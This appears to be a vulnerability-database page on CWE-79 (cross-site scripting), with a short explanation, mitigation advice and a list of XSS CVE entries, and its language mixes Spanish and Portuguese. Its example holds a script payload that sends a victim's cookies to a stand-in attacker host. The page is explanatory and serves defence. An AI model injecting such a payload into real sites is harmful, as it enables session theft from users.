Fallos del tipo CWE-79

29.908 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-26325LOWCross Site Scripting vulnerability in NetIQ Access Manager versions prior to version 5.0.2EPSS 0.4%CVE-2022-45091MEDIUMCross-site Scripting in Smartpower WebEPSS 0.4%CVE-2023-51727MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51720MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51721MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51738MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51726MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2025-51951MEDIUMandisearch v0.5.249 was discovered to contain a cross-site scripting (XSS) vulnerability.EPSS 0.4%CVE-2023-51734MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2024-9699HIGHCross-Site Scripting (XSS) in flatpressblog/flatpressEPSS 0.4%CVE-2023-23989MEDIUMWordPress RegistrationMagic plugin <= 5.1.9.2 - Content InjectionEPSS 0.4%CVE-2023-51732MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2022-45086MEDIUMCross-site Scripting in Smartpower WebEPSS 0.4%CVE-2024-25300MEDIUMA cross-site scripting (XSS) vulnerability in Redaxo v5.15.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payloadEPSS 0.4%CVE-2024-57033MEDIUMWeGIA < 3.2.0 is vulnerable to Cross Site Scripting (XSS) via the dados_addInfo parameter of documentos_funcionario.php.EPSS 0.4%CVE-2024-22153MEDIUMWordPress Stock Locations for WooCommerce Plugin <= 2.5.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-6032MEDIUMcode-projects Simple Laundry System checkcheckout.php cross site scriptingEPSS 0.4%CVE-2024-26299MEDIUMA vulnerability in the web-based management interface of ClearPass Policy Manager could allow an authenticated remote attacker to conduct a EPSS 0.4%CVE-2024-2788MEDIUMHappy Addons for Elementor <= 3.10.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Title HTML TagEPSS 0.4%CVE-2025-22249HIGHVMSA-2025-0008: VMware Aria automation updates address a DOM based Cross-site scripting vulnerability (CVE-2025-22249)EPSS 0.4%